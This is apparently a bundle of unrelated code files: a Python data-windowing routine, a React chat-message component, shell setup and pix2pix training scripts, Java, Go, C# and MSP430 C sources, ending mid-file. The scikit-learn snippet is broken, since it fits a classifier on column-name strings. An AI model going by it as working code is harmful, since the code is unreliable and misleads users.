noise=None, precomp_features=None, vessel_label=None, extra_time_deltas=0): delta = cls.delta window = cls.window + extra_time_deltas * cls.time_point_delta * delta label_window = delta * (1 + extra_time_deltas * cls.time_point_delta) assert window % delta == 0, 'delta must evenly divide window' # Weight so that sets with multiple classification get sqrt(n) more representation # Since they have some extra information (n is the number of classifications) subsamples = int(round(min_samples / np.sqrt(len(paths)))) # Set seed for reproducibility np.random.seed(seed) times = [] features = [] targets = [] labels = [] defined = [] window_pts = window // delta lbl_pts = label_window // delta lbl_offset = (window_pts - lbl_pts) // 2 min_ndx = 0 for p in paths: for data in cls.load_data(p, delta, skip_label, keep_fracs=keep_fracs, features=precomp_features, vessel_label=vessel_label): if data is None: print('skipping', p, 'because data is None') continue (t, x, y, label, dfnd) = data max_ndx = len(x) - window_pts ndxs = [] for ndx in range(min_ndx, max_ndx + 1): if dfnd[ndx+lbl_offset:ndx+lbl_offset+lbl_pts].sum() >= lbl_pts / 2.0: ndxs.append(ndx) if not ndxs: print("skipping", p, "because it is too short") continue for ss in range(subsamples): ndx = np.random.choice(ndxs) t_chunk = t[ndx:ndx+window_pts] f_chunk, _ = cls.cook_features(y[ndx:ndx+window_pts], noise=noise) times.append(t_chunk) features.append(f_chunk) if skip_label: targets.append(None) labels.append(None) defined.append(None) else: # print(label[ndx+lbl_offset:ndx+lbl_offset+lbl_pts].shape, # lbl_pts) targets.append(label[ndx:ndx+window_pts]) windowed_labels = label[ndx+lbl_offset:ndx+lbl_offset+lbl_pts].reshape( lbl_pts, -1) labels.append(windowed_labels.mean(axis=-1) > 0.5) windowed_defined = dfnd[ndx+lbl_offset:ndx+lbl_offset+lbl_pts].reshape( lbl_pts, -1) defined.append((windowed_defined.mean(axis=-1) > 0.5) & ((windowed_labels.mean(axis=-1) < 0.3) | (windowed_labels.mean(axis=-1) > 0.7))) return times, np.array(features), np.array(labels), np.array(targets), np.array(defined) ### CHANGE
<reponame>Nsbx/YaTA import { Colors } from '@blueprintjs/core' import _ from 'lodash' import * as React from 'react' import LogType from 'constants/logType' import { WithNameColorProps } from 'libs/Chatter' import { HighlightColors } from 'libs/Highlight' import { SerializedMessage } from 'libs/Message' import styled, { ifProp, prop, theme } from 'styled' /** * Message component. */ const Message = styled.span<MessageProps>` color: ${prop('color')}; word-wrap: break-word; .emoteWrapper { display: inline-block; min-height: 28px; min-width: 28px; text-align: center; } .emote { display: inline-block; margin-top: -3px; vertical-align: middle; } [class='emote'] { cursor: ${ifProp('withEmoteDetails', 'pointer', 'default')}; } img:-moz-loading, img:-moz-broken { height: 28px; width: 28px; overflow-x: hidden; } .mention { background-color: ${theme('log.mention.color')}; border-radius: 2px; padding: 1px 3px 2px 3px; &.self { background-color: ${theme('log.mention.self.color')}; color: ${Colors.WHITE}; } } span.cheer { font-weight: bold; } .highlight { border-radius: 2px; padding: 1px 3px 2px 3px; ${(props) => { let rules = '' for (const highlightColor in HighlightColors) { if (HighlightColors.hasOwnProperty(highlightColor)) { rules += ` &.${highlightColor} { background-color: ${theme(`log.highlight.${highlightColor}.background`)(props)}; color: ${theme(`log.highlight.${highlightColor}.color`)(props)}; } ` } } return rules }}; } ` /** * MessageContent Component. */ export default class MessageContent extends React.Component<Props> { /** * Renders the component. * @return Element to render. */ public render() { const { message, withEmoteDetails } = this.props const isAction = message.type === LogType.Action const messageColor = isAction && !_.isNil(message.user.color) && !message.historical ? message.user.color : 'inherit' return ( <Message dangerouslySetInnerHTML={{ __html: message.message }} withEmoteDetails={withEmoteDetails} onClick={this.onClick} color={messageColor} /> ) } /** * Triggered when a message content is clicked. */ private onClick = (event: React.MouseEvent<HTMLSpanElement>) => { const { focusEmote } = this.props // If we don't care about emote clicks, bail out early. if (_.isNil(focusEmote)) { return } // Ignore modified or canceled events. if (event.defaultPrevented) { return } // Ignore non-left-click-related events. if (event.button !== 0) { return } // Get the element. const element = event.target as Element // Ignore non <img /> related events. if (!element || element.nodeName !== 'IMG') { return } // At this point, we know the user clicked an image, let's ensure it was an emote. if (element.classList.length !== 1 || !element.classList.contains('emote')) { return } // At this point, we're pretty much certain you clicked an emote. const id = element.getAttribute('data-id') const name = element.getAttribute('data-tip') const provider = element.getAttribute('data-provider') if (!_.isNil(id) && !_.isNil(name) && !_.isNil(provider)) { // Focus the emote. focusEmote(id, name, provider) } } } /** * React Props. */ interface Props { focusEmote?: (id: string, name: string, provider: string) => void message: SerializedMessage withEmoteDetails?: boolean } /** * React Props. */ interface MessageProps extends WithNameColorProps { withEmoteDetails?: boolean }
#!/bin/bash -e REGION=$1 EFSID=$2 mkdir -p /efs mount -t nfs4 -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport ${EFSID}.efs.${REGION}.amazonaws.com:/ /efs echo "${EFSID}.efs.${REGION}.amazonaws.com:/ /efs nfs4 nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport,_netdev 0 0" >> /etc/fstab mount --bind /efs /mnt echo '/efs /mnt none bind' >> /etc/fstab
from sklearn import tree # create feature list features = ["number_of_rooms", "number_of_bathrooms", "age", "neighborhood", "land_area", "garage_area"] # create target list target = ["price"] # instantiate decision tree clf = tree.DecisionTreeClassifier() # train decision tree clf = clf.fit(features, target)
#!/bin/bash -ex # the -e option would make our script exit eith an error if any command # fails while the -x option makes verbosely it output what it does # Install Pipenv, the -n option makes sudo fail instead of asking for a # password if we don't have sufficient privileges to run it sudo -n dnf install -y pipenv cd /vagrant # Install dependencies with Pipenv pipenv sync # run our app. Nohup and "&" are used to let the setup script finish # while our app stays up. The app logs will be collected in nohup.out nohup pipenv run python manage.py runserver 0.0.0.0:8000 &
package servlet; import java.io.IOException; import javax.servlet.RequestDispatcher; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.shiro.SecurityUtils; import utility.AppSession; import utility.ExclusiveWriteLockManager; import utility.LockRemover; public abstract class FrontCommand { protected ServletContext context; protected HttpServletRequest request; protected HttpServletResponse response; public void init(ServletContext context, HttpServletRequest request, HttpServletResponse response) { this.context = context; this.request = request; this.response = response; } abstract public void process() throws ServletException, IOException; protected void forward(String target) throws ServletException, IOException { RequestDispatcher dispatcher = context.getRequestDispatcher(target); dispatcher.forward(request, response); } protected void redirect(String target) throws ServletException, IOException { response.sendRedirect(target); } public static void startNewBusinessTransaction() { if (AppSession.getCurrentSession() != null) { try { ExclusiveWriteLockManager.getInstance().releaseAllLocks(AppSession.getCurrentSession()); } catch (Exception e) { e.printStackTrace(); } } AppSession.setSession(SecurityUtils.getSubject().getSession().getId(), AppSession.APP_SESSION); AppSession.setLockRemover(new LockRemover(SecurityUtils.getSubject().getSession().getId().toString()), AppSession.LOCK_REMOVER); } protected void continueBusinessTransaction() { AppSession.setSession(SecurityUtils.getSubject().getSession().getId(), AppSession.APP_SESSION); } }
#!/bin/bash # Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. set -e echo "Train a model and make videos, including steps that generate pre recursive pairs" echo "!!! This script contains some rm -rf !!! use with care, check arg1 carfully" if [ "$#" -ne 4 ] then echo "arg 1 is for dataset absolute path" echo "arg 2 is for number of cycle" echo "arg 3 is for number of frame per video" echo "arg 4 is for backup folder absolute path" else echo "Train pix2pix to predict the next frame" read -r -p "Do you want to generate the frames from video.mp4? [y/N] " response case "$response" in [yY][eE][sS]|[yY]) echo "creating the 'frames' dir" mkdir -p $1/frames rm -f $1/frames/*.jpg python ../tools/extract_frames.py \ --video_in $1/video.mp4 \ --path_out $1/frames ;; *) echo "keeping 'frames' folder" ;; esac read -r -p "Do you want to reset the first-frame using a frame from the video? [y/N] " response case "$response" in [yY][eE][sS]|[yY]) echo "copying the test frame" mkdir -p $1/img cp $1/frames/f0000001.jpg $1/img/first.jpg ;; *) echo "keeping test.jpg" ;; esac read -r -p "Do you want to generate the 'good' directory? just by copying the frame folder [y/N] " response case "$response" in [yY][eE][sS]|[yY]) echo "creating the 'good' dir copying the frame folder" rm -rf $1/good mkdir -p $1/good cp $1/frames/* $1/good ;; *) echo "keeping 'good' folder" ;; esac read -r -p "Do you want to (re)create 'train' [y/N] " response case "$response" in [yY][eE][sS]|[yY]) echo "recreate 'train'" rm -rf $1/train mkdir -p $1/train ;; *) echo "keeping 'train'" ;; esac read -r -p "Do you want to remove or recreate the previous logs (to clean tensorboard)? [y/N] " response case "$response" in [yY][eE][sS]|[yY]) echo "removing logs" rm -rf $1/logs mkdir -p $1/logs ;; *) echo "keeping logs" ;; esac read -r -p "Do you want to remove the previous generated video? [y/N] " response case "$response" in [yY][eE][sS]|[yY]) echo "removing video" rm -f $4/video*.mp4 ;; *) echo "keeping video" ;; esac read -r -p "Do you want to remove the CURENT model? [y/N] " response case "$response" in [yY][eE][sS]|[yY]) echo "removing model checkpoint" rm -f $1/pix2pix.model* rm -f $1/checkpoint ;; *) echo "keeping model" ;; esac read -r -p "Do you want to (re)create 'test' and 'val'? [y/N] " response case "$response" in [yY][eE][sS]|[yY]) echo "recreate 'test'" mkdir -p $1/test rm -f $1/test/*.jpg python join_pairs.py \ --path_left $1/frames \ --path_right $1/good \ --path_out $1/val \ --limit 10 echo "recreate 'val'" mkdir -p $1/val rm -f $1/val/*.jpg python join_pairs.py \ --path_left $1/frames \ --path_right $1/good \ --path_out $1/val \ --limit 10 ;; *) echo "keeping 'test' and 'val'" ;; esac echo "#######################################" echo "starting sequence from 1 to $2" for i in $(seq 1 $2) do n=$(printf %03d $i) echo "making pairs $i/$2" python join_pairs.py \ --path_left $1/frames \ --path_right $1/good \ --path_out $1/train \ --limit 1000 # 1000 is the default value, you can play with it and will get diferents results echo "training $i/$2" # main.py belongs to the pix2ix_tensorflow package python pix2pix-tensorflow-0.1/main.py \ --dataset_path $1 \ --checkpoint_dir $1 \ --epoch 5 \ --max_steps 10000 \ --phase train \ --continue_train 1 # 10000 is the default value, you can play with it and will get diferents results echo "cleaning logs" rm -f $1/logs/* echo "backup model $i" mkdir -p $4/model_$n cp $1/checkpoint $4/model_$n cp $1/pix2pix.model* $4/model_$n echo "generate video test $i" ./recursion_640.sh $4/model_$n $1/img/first.jpg $3 $4/video_$n echo "select some pairs for recursion" rm -rf $1/recur mkdir -p $1/recur python ../tools/random_pick.py --path_in $1/good --path_out $1/recur \ --limit 100 # 100 is the default value, you can play with it and will get diferents results echo "use pre-recursion" python pix2pix-tensorflow-0.1/main.py \ --checkpoint_dir $1 \ --recursion 15 \ --phase pre_recursion \ --dataset_path $1/recur \ --frames_path $1/frames # 15 is the default value, you can play with it and will get diferents results echo "generate pairs from recursion" python join_pairs.py \ --path_left $1/recur \ --path_right $1/good \ --path_out $1/train \ --prefix pr \ --size 256 echo "select some pairs for recursion (long)" rm -rf $1/recur mkdir -p $1/recur python ../tools/random_pick.py --path_in $1/good --path_out $1/recur \ --limit 2 # 2 is the default value, you can play with it and will get diferents results echo "use pre-recursion (long)" python pix2pix-tensorflow-0.1/main.py \ --checkpoint_dir $1 \ --recursion 100 \ --phase pre_recursion \ --dataset_path $1/recur \ --frames_path $1/frames # 100 is the default value, you can play with it and will get diferents results echo "generate pairs from recursion (long)" python join_pairs.py \ --path_left $1/recur \ --path_right $1/good \ --path_out $1/train \ --prefix pr \ --size 256 done echo "done $2 iterations" fi
public Operand GetJsonValueOperand(string parameter) { var v = Json.JsonValue[parameter]; if (v != null) { if (v.IsString) return Operand.Create(v.StringValue); if (v.IsBoolean) return Operand.Create(v.BooleanValue); if (v.IsDouble) return Operand.Create(v.NumberValue); if (v.IsObject || v.IsArray) return Operand.Create(v); if (v.IsNull) return Operand.CreateNull(); return Operand.Create(v); } return base.GetParameter(parameter); }
<filename>modules/configuration/src/main/java/org/apache/ignite/configuration/internal/SuperRoot.java /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ignite.configuration.internal; import java.util.Map; import java.util.NoSuchElementException; import java.util.SortedMap; import java.util.TreeMap; import org.apache.ignite.configuration.RootKey; import org.apache.ignite.configuration.tree.ConfigurationSource; import org.apache.ignite.configuration.tree.ConfigurationVisitor; import org.apache.ignite.configuration.tree.InnerNode; /** */ public final class SuperRoot extends InnerNode { /** */ private final SortedMap<String, InnerNode> roots = new TreeMap<>(); /** */ private final Map<String, RootKey<?, ?>> allRootKeys; /** Copy constructor. */ private SuperRoot(SuperRoot superRoot) { roots.putAll(superRoot.roots); allRootKeys = superRoot.allRootKeys; } /** */ public SuperRoot(Map<String, RootKey<?, ?>> rootKeys) { allRootKeys = rootKeys; } /** */ public SuperRoot(Map<String, RootKey<?, ?>> rootKeys, Map<RootKey<?, ?>, InnerNode> roots) { allRootKeys = rootKeys; for (Map.Entry<RootKey<?, ?>, InnerNode> entry : roots.entrySet()) this.roots.put(entry.getKey().key(), entry.getValue()); } /** */ public void addRoot(RootKey<?, ?> rootKey, InnerNode root) { assert !roots.containsKey(rootKey.key()) : rootKey.key() + " : " + roots; assert allRootKeys.get(rootKey.key()) == rootKey : rootKey.key() + " : " + allRootKeys; roots.put(rootKey.key(), root); } /** */ public void append(SuperRoot otherRoot) { //TODO IGNITE-14372 Revisit API of the super root. roots.putAll(otherRoot.roots); } /** */ public InnerNode getRoot(RootKey<?, ?> rootKey) { return roots.get(rootKey.key()); } /** {@inheritDoc} */ @Override public <T> void traverseChildren(ConfigurationVisitor<T> visitor) { for (Map.Entry<String, InnerNode> entry : roots.entrySet()) visitor.visitInnerNode(entry.getKey(), entry.getValue()); } /** {@inheritDoc} */ @Override public <T> T traverseChild(String key, ConfigurationVisitor<T> visitor) throws NoSuchElementException { InnerNode root = roots.get(key); if (root == null) throw new NoSuchElementException(key); return visitor.visitInnerNode(key, root); } /** {@inheritDoc} */ @Override public void construct(String key, ConfigurationSource src) throws NoSuchElementException { assert src != null; RootKeyImpl<?, ?> rootKey = (RootKeyImpl<?, ?>)allRootKeys.get(key); if (rootKey == null) throw new NoSuchElementException(key); InnerNode root = roots.get(key); root = root == null ? rootKey.createRootNode() : root.copy(); roots.put(key, root); src.descend(root); } /** {@inheritDoc} */ @Override public boolean constructDefault(String key) throws NoSuchElementException { throw new NoSuchElementException(key); } /** {@inheritDoc} */ @Override public Class<?> schemaType() { return Object.class; } /** {@inheritDoc} */ @Override public SuperRoot copy() { return new SuperRoot(this); } }
#!/bin/bash dieharder -d 0 -g 46 -S 2228423117
<filename>src/main/java/org/battlecode/bc18/api/AKnight.java package org.battlecode.bc18.api; import static org.battlecode.bc18.util.Utils.gc; import org.battlecode.bc18.TargetManager; import org.battlecode.bc18.util.Utils; import bc.Planet; import bc.PlanetMap; import bc.Unit; import bc.UnitType; public abstract class AKnight extends ARobot implements MyKnight { @Override public boolean isJavelinReady() { return isAbilityUnlocked() && gc.isJavelinReady(getID()); } @Override public boolean isWithinJavelinRange(Unit target) { return gc.canJavelin(getID(), target.id()); } @Override public boolean canJavelin(Unit target) { return isJavelinReady() && isWithinJavelinRange(target); } @Override public void javelin(Unit target) { assert canJavelin(target); gc.javelin(getID(), target.id()); } @Override public int getAttackRange() { return attackRange; } //////////END OF API////////// private final int attackRange; /** * Constructor for AKnight. * @exception RuntimeException Occurs for unknown UnitType, unit already exists, unit doesn't belong to our player. */ protected AKnight(Unit unit) { super(unit); assert unit.unitType() == UnitType.Knight; this.attackRange = (int) getAsUnit().attackRange(); } }
<reponame>zzz-s-2020/s-2020<filename>modules/infrastructure/ru.zzz.demo.sber.shs.CircuitBreaker/src/main/java/ru/zzz/demo/sber/shs/CircuitBreaker/device/DeviceCircuitBreaker.java package ru.zzz.demo.sber.shs.CircuitBreaker.device; import org.springframework.lang.NonNull; import ru.zzz.demo.sber.shs.device.DeviceManager; import ru.zzz.demo.sber.shs.device.Reply; import ru.zzz.demo.sber.shs.device.Request; /** * This is a circuit breaker which does nothing but delegate calls to the {@link DeviceManager}. * Writing proper circuit breaker or integrate something like Hystrix is too much work for the small project. */ public interface DeviceCircuitBreaker { /** * Registers a new Device stub if it didn't exist and issues a comment on it. * * @param msg a requested commend. * @return reply. Errors are indicated as a {@link Reply.Error}. * * @throws IllegalArgumentException is an msg is null. */ @NonNull Reply accept(Request msg); }
/* * radio.h * * Created on: Sep 7, 2014 * Author: hunter */ #ifndef RADIO_H_ #define RADIO_H_ #include "cc430x513x.h" #include "RF1A.h" #include "pmm.h" #include <stdio.h> #include <string.h> /******************* * Function Definition */ void Transmit(unsigned char *buffer, unsigned char length); void ReceiveOn(void); void ReceiveOff(void); void InitButtonLeds(void); void InitRadio(void); ///////////////////////// #define PACKET_LEN (0x10) // PACKET_LEN <= 61 #define RSSI_IDX (PACKET_LEN+1) // Index of appended RSSI #define CRC_LQI_IDX (PACKET_LEN+2) // Index of appended LQI, checksum #define CRC_OK (BIT7) // CRC_OK bit #define PATABLE_VAL (0x51) // 0 dBm output extern RF_SETTINGS rfSettings; unsigned char packetReceived; unsigned char packetTransmit; unsigned char RxBuffer[64]; unsigned char RxBufferLength = 0; const unsigned char TxBuffer[11]= {PACKET_LEN, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x2C, 0x20, 0x42, 0x6F, 0x62}; unsigned char buttonPressed = 0; unsigned int i = 0; unsigned char transmitting = 0; unsigned char receiving = 0; unsigned int counter = 0; //#define UART_PRINTF #ifdef UART_PRINTF int fputc(int _c, register FILE *_fp); int fputs(const char *_ptr, register FILE *_fp); #endif void InitButtonLeds(void) { // Set up the button as interruptible P1DIR &= ~BIT7; P1REN |= BIT7; P1IES &= BIT7; P1IFG = 0; P1OUT |= BIT7; P1IE |= BIT7; // Initialize Port J PJOUT = 0x00; PJDIR = 0xFF; // Set up LEDs P1OUT &= ~BIT0; P1DIR |= BIT0; P3OUT &= ~BIT6; P3DIR |= BIT6; } void InitRadio(void) { // Set the High-Power Mode Request Enable bit so LPM3 can be entered // with active radio enabled PMMCTL0_H = 0xA5; PMMCTL0_L |= PMMHPMRE_L; PMMCTL0_H = 0x00; WriteRfSettings(&rfSettings); WriteSinglePATable(PATABLE_VAL); } void Transmit(unsigned char *buffer, unsigned char length) { RF1AIES |= BIT9; RF1AIFG &= ~BIT9; // Clear pending interrupts RF1AIE |= BIT9; // Enable TX end-of-packet interrupt WriteBurstReg(RF_TXFIFOWR, buffer, length); Strobe( RF_STX ); // Strobe STX } void ReceiveOn(void) { RF1AIES |= BIT9; // Falling edge of RFIFG9 RF1AIFG &= ~BIT9; // Clear a pending interrupt RF1AIE |= BIT9; // Enable the interrupt // Radio is in IDLE following a TX, so strobe SRX to enter Receive Mode Strobe( RF_SRX ); } void ReceiveOff(void) { RF1AIE &= ~BIT9; // Disable RX interrupts RF1AIFG &= ~BIT9; // Clear pending IFG // It is possible that ReceiveOff is called while radio is receiving a packet. // Therefore, it is necessary to flush the RX FIFO after issuing IDLE strobe // such that the RXFIFO is empty prior to receiving a packet. Strobe( RF_SIDLE ); Strobe( RF_SFRX ); } #pragma vector=CC1101_VECTOR __interrupt void CC1101_ISR(void) { switch(__even_in_range(RF1AIV,32)) // Prioritizing Radio Core Interrupt { case 0: break; // No RF core interrupt pending case 2: break; // RFIFG0 case 4: break; // RFIFG1 case 6: break; // RFIFG2 case 8: break; // RFIFG3 case 10: break; // RFIFG4 case 12: break; // RFIFG5 case 14: break; // RFIFG6 case 16: break; // RFIFG7 case 18: break; // RFIFG8 case 20: // RFIFG9 if(receiving) // RX end of packet { // Read the length byte from the FIFO RxBufferLength = ReadSingleReg( RXBYTES ); ReadBurstReg(RF_RXFIFORD, RxBuffer, RxBufferLength); // Stop here to see contents of RxBuffer __no_operation(); int i = 0; for(i = 0; i < RxBufferLength; i++) printf("%c ", RxBuffer[i]); printf("\n"); // Check the CRC results if(RxBuffer[CRC_LQI_IDX] & CRC_OK) P1OUT ^= BIT0; // Toggle LED1 else printf("Wrong CRC, check Register contents"); } else if(transmitting) // TX end of packet { RF1AIE &= ~BIT9; // Disable TX end-of-packet interrupt P3OUT &= ~BIT6; // Turn off LED after Transmit transmitting = 0; } else while(1); // trap break; case 22: break; // RFIFG10 case 24: break; // RFIFG11 case 26: break; // RFIFG12 case 28: break; // RFIFG13 case 30: break; // RFIFG14 case 32: break; // RFIFG15 } __bic_SR_register_on_exit(LPM3_bits); } #pragma vector=PORT1_VECTOR __interrupt void PORT1_ISR(void) { switch(__even_in_range(P1IV, 16)) { case 0: break; case 2: break; // P1.0 IFG case 4: break; // P1.1 IFG case 6: break; // P1.2 IFG case 8: break; // P1.3 IFG case 10: break; // P1.4 IFG case 12: break; // P1.5 IFG case 14: break; // P1.6 IFG case 16: // P1.7 IFG P1IE = 0; // Debounce by disabling buttons buttonPressed = 1; __bic_SR_register_on_exit(LPM3_bits); // Exit active break; } } // Timer A0 interrupt service routine #pragma vector=TIMER1_A0_VECTOR __interrupt void TIMER1_A0_ISR(void) { P1OUT ^= 0x01; // Toggle P1.0 printf("Hello world %d!\r\n", counter++); __bic_SR_register_on_exit(LPM3_bits); } #ifdef UART_PRINTF int fputc(int _c, register FILE *_fp) { while(!(UCA0IFG & UCTXIFG)); UCA0TXBUF = (unsigned char) _c; return((unsigned char)_c); } int fputs(const char *_ptr, register FILE *_fp) { unsigned int i, len; len = strlen(_ptr); for(i=0 ; i<len ; i++) { while(!(UCA0IFG & UCTXIFG)); UCA0TXBUF = (unsigned char) _ptr[i]; } return len; } #endif //void take_fft(int freq, int bw){ // //Takes in a center frequency and bandwidth to do a fixed point fft on // int i, scale; // unsigned diff; // short x[n], fx[n]; // // for (i=0; i<n; i++){ // x[i] = AMPLITUDE*cos(i*FREQUENCY*(2*3.1415926535)/n); // if (i & 0x01) // fx[(n+i)>>1] = x[i]; // else // fx[i>>1] = x[i]; // #if DEBUG // printf("%d %d\n", i, x[i]); // #endif // } // puts(""); // // fix_fftr(fx, log2n, 0); // #if SPECTRUM // for (i=0; i<n/2; i++) printf("%d %d\n", i, fx[i]); // return 0; // #endif // scale = fix_fftr(fx, log2n, 1); // fprintf(stderr, "scale = %d\n", scale); // // for (i=0,diff=0; i<n; i++) { // int sample; // if (i & 0x01) // sample = fx[(n+i)>>1] << scale; // else // sample = fx[i>>1] << scale; // #if DEBUG // printf("%d %d\n", i, sample); // #endif // diff += abs(x[i]-sample); // } // fprintf(stderr, "sum(abs(diffs)))/n = %g\n", diff/(double)n); // // return 0; //} #endif /* RADIO_H_ */
package rkentry import ( "context" "crypto/tls" "crypto/x509" "encoding/json" "errors" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/push" "go.uber.org/atomic" "go.uber.org/zap" "net/http" "strings" "sync" "time" ) var ( // Why 1608? It is the year of first telescope was invented defaultPort = uint64(1608) defaultPath = "/metrics" ) const ( // PromEntryType default entry type PromEntryType = "PromEntry" // PromEntryNameDefault default entry name PromEntryNameDefault = "PromDefault" // PromEntryDescription default entry description PromEntryDescription = "Internal RK entry which implements prometheus client." ) // BootConfigProm Boot config which is for prom entry. type BootConfigProm struct { Enabled bool `yaml:"enabled" json:"enabled"` Path string `yaml:"path" json:"path"` Pusher struct { Enabled bool `yaml:"enabled" json:"enabled"` IntervalMs int64 `yaml:"IntervalMs" json:"IntervalMs"` JobName string `yaml:"jobName" json:"jobName"` RemoteAddress string `yaml:"remoteAddress" json:"remoteAddress"` BasicAuth string `yaml:"basicAuth" json:"basicAuth"` Cert struct { Ref string `yaml:"ref" json:"ref"` } `yaml:"cert" json:"cert"` } `yaml:"pusher" json:"pusher"` } // PromEntry Prometheus entry which implements rkentry.Entry. type PromEntry struct { Pusher *PushGatewayPusher `json:"-" yaml:"-"` EntryName string `json:"entryName" yaml:"entryName"` EntryType string `json:"entryType" yaml:"entryType"` EntryDescription string `json:"-" yaml:"-"` ZapLoggerEntry *ZapLoggerEntry `json:"-" yaml:"-"` EventLoggerEntry *EventLoggerEntry `json:"-" yaml:"-"` Port uint64 `json:"port" yaml:"port"` Path string `json:"path" yaml:"path"` Registry *prometheus.Registry `json:"-" yaml:"-"` Registerer prometheus.Registerer `json:"-" yaml:"-"` Gatherer prometheus.Gatherer `json:"-" yaml:"-"` } // PromEntryOption Prom entry option used while initializing prom entry via code type PromEntryOption func(*PromEntry) // WithNameProm Name of prom entry func WithNameProm(name string) PromEntryOption { return func(entry *PromEntry) { entry.EntryName = name } } // WithPortProm Port of prom entry func WithPortProm(port uint64) PromEntryOption { return func(entry *PromEntry) { entry.Port = port } } // WithPathProm Path of prom entry func WithPathProm(path string) PromEntryOption { return func(entry *PromEntry) { entry.Path = path } } // WithZapLoggerEntryProm rkentry.ZapLoggerEntry of prom entry func WithZapLoggerEntryProm(zapLoggerEntry *ZapLoggerEntry) PromEntryOption { return func(entry *PromEntry) { entry.ZapLoggerEntry = zapLoggerEntry } } // WithEventLoggerEntryProm rkentry.EventLoggerEntry of prom entry func WithEventLoggerEntryProm(eventLoggerEntry *EventLoggerEntry) PromEntryOption { return func(entry *PromEntry) { entry.EventLoggerEntry = eventLoggerEntry } } // WithPusherProm PushGateway of prom entry func WithPusherProm(pusher *PushGatewayPusher) PromEntryOption { return func(entry *PromEntry) { entry.Pusher = pusher } } // WithPromRegistryProm Provide a new prometheus registry func WithPromRegistryProm(registry *prometheus.Registry) PromEntryOption { return func(entry *PromEntry) { if registry != nil { entry.Registry = registry } } } // RegisterPromEntryWithConfig create PromEntry with config func RegisterPromEntryWithConfig(config *BootConfigProm, name string, port uint64, zap *ZapLoggerEntry, event *EventLoggerEntry, registry *prometheus.Registry) *PromEntry { var promEntry *PromEntry if config.Enabled { var pusher *PushGatewayPusher if config.Pusher.Enabled { certEntry := GlobalAppCtx.GetCertEntry(config.Pusher.Cert.Ref) var certStore *CertStore if certEntry != nil { certStore = certEntry.Store } pusher, _ = NewPushGatewayPusher( WithIntervalMSPusher(time.Duration(config.Pusher.IntervalMs)*time.Millisecond), WithRemoteAddressPusher(config.Pusher.RemoteAddress), WithJobNamePusher(config.Pusher.JobName), WithBasicAuthPusher(config.Pusher.BasicAuth), WithZapLoggerEntryPusher(zap), WithEventLoggerEntryPusher(event), WithCertStorePusher(certStore)) } if registry == nil { registry = prometheus.NewRegistry() } registry.Register(prometheus.NewGoCollector()) promEntry = RegisterPromEntry( WithNameProm(name), WithPortProm(port), WithPathProm(config.Path), WithZapLoggerEntryProm(zap), WithPromRegistryProm(registry), WithEventLoggerEntryProm(event), WithPusherProm(pusher)) if promEntry.Pusher != nil { promEntry.Pusher.SetGatherer(promEntry.Gatherer) } } return promEntry } // RegisterPromEntry Create a prom entry with options and add prom entry to rkentry.GlobalAppCtx func RegisterPromEntry(opts ...PromEntryOption) *PromEntry { entry := &PromEntry{ Port: defaultPort, Path: defaultPath, EventLoggerEntry: GlobalAppCtx.GetEventLoggerEntryDefault(), ZapLoggerEntry: GlobalAppCtx.GetZapLoggerEntryDefault(), EntryName: PromEntryNameDefault, EntryType: PromEntryType, EntryDescription: PromEntryDescription, Registerer: prometheus.DefaultRegisterer, Gatherer: prometheus.DefaultGatherer, } for i := range opts { opts[i](entry) } // Trim space by default entry.Path = strings.TrimSpace(entry.Path) if len(entry.Path) < 1 { // Invalid path, use default one entry.Path = defaultPath } if !strings.HasPrefix(entry.Path, "/") { entry.Path = "/" + entry.Path } if entry.ZapLoggerEntry == nil { entry.ZapLoggerEntry = GlobalAppCtx.GetZapLoggerEntryDefault() } if entry.EventLoggerEntry == nil { entry.EventLoggerEntry = GlobalAppCtx.GetEventLoggerEntryDefault() } if entry.Registry != nil { entry.Registerer = entry.Registry entry.Gatherer = entry.Registry } return entry } // Bootstrap Start prometheus client func (entry *PromEntry) Bootstrap(ctx context.Context) { // start pusher if entry.Pusher != nil { entry.Pusher.Start() } } // Interrupt Shutdown prometheus client func (entry *PromEntry) Interrupt(ctx context.Context) { if entry.Pusher != nil { entry.Pusher.Stop() } } // GetName Return name of prom entry func (entry *PromEntry) GetName() string { return entry.EntryName } // GetType Return type of prom entry func (entry *PromEntry) GetType() string { return entry.EntryType } // GetDescription Get description of entry func (entry *PromEntry) GetDescription() string { return entry.EntryDescription } // String Stringfy prom entry func (entry *PromEntry) String() string { bytes, _ := json.Marshal(entry) return string(bytes) } // MarshalJSON Marshal entry func (entry *PromEntry) MarshalJSON() ([]byte, error) { m := map[string]interface{}{ "entryName": entry.EntryName, "entryType": entry.EntryType, "entryDescription": entry.EntryDescription, "pushGateWayPusher": entry.Pusher, "eventLoggerEntry": entry.EventLoggerEntry.GetName(), "zapLoggerEntry": entry.ZapLoggerEntry.GetName(), "port": entry.Port, "path": entry.Path, } return json.Marshal(&m) } // UnmarshalJSON Unmarshal entry func (entry *PromEntry) UnmarshalJSON(b []byte) error { return nil } // RegisterCollectors Register collectors in default registry func (entry *PromEntry) RegisterCollectors(collectors ...prometheus.Collector) error { var err error for i := range collectors { if innerErr := entry.Registerer.Register(collectors[i]); innerErr != nil { err = innerErr } } return err } // PushGatewayPusher is a pusher which contains bellow instances type PushGatewayPusher struct { 